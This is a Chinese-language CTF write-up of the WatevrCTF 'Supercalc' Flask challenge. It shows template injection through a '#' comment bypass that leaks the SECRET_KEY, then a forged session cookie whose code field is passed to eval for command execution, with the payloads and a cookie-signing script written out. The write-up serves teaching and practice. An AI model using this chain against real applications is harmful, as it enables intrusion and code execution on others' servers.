WatevrCTF

Supercalc

点开一个计算器,首先有个session,暂时不知道是啥,排除php

然后尝试报错构造1/0

Traceback (most recent call last):
  File "somewhere", line something, in something
    result = 1/0
ZeroDivisionError: division by zero

应该是python写的,那么考虑一下flask-session

能解码出来

python2 flask_session_cookie_manager2.py decode -c .eJxFjcEKwjAQRH9l2JNCofYa8KZ-gSeNhzRd7GKawCYqtfTfbUHw-GZ4MxP1kkvSkcx1Ip86JkMNauyoIlZNuvBZnefW-Qc2Q8oFyp5jgXchILhctsZG4CSBYSmngd89K1uqECQy1qT0Eu8VJP5pdbBs5Wco2KOpdzZeWNNBXpIlxeP6btD9EO2Iz1LTfJu_m04-Tg.XqjwZw.qiHhU59NlW8GurKNxrRZyQzJN3M
{"history":[{"code":"1 / 0","error":"Traceback (most recent call last):\n  File \"somewhere\", line something, in something\n    result = 1/0\nZeroDivisionError: division by zero"}]}

暂时不知道怎么搞,去翻了一下源码...

发现计算器的eval进过ast的校验,直接ssti肯定是没戏的

但是我们可以利用#注释符来绕过检验,然后报错render的时候还是有机会ssti的

但是把下划线和引号都ban了,还是没法直接读

用config可以拿到secretkey了我们可以控制session

1/0#{{config}}
Traceback (most recent call last):
  File "somewhere", line something, in something
    result = 1/0#<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'cded826a1e89925035cc05f0907855f7', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
ZeroDivisionError: division by zero

然后又卡住了....

回去翻了一下源码

    for calculation in session["history"]:
        history.append({**calculation})
        if not calculation.get("error"):
            history[-1]["result"] = eval(calculation["code"])

    return render_template("index.html", history=list(reversed(history)))

history里的代码可以直接执行,那么伪造session就可以rce了

 python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history':[{'code':'__import__(os).system(\"ls \")'}]}"

或者也可用这个脚本生成

from flask.sessions import SecureCookieSessionInterface

secret_key = "cded826a1e89925035cc05f0907855f7"

class FakeApp:
    secret_key = secret_key


fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("cat flag.txt").read()'}]}
)
print(cookie)
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""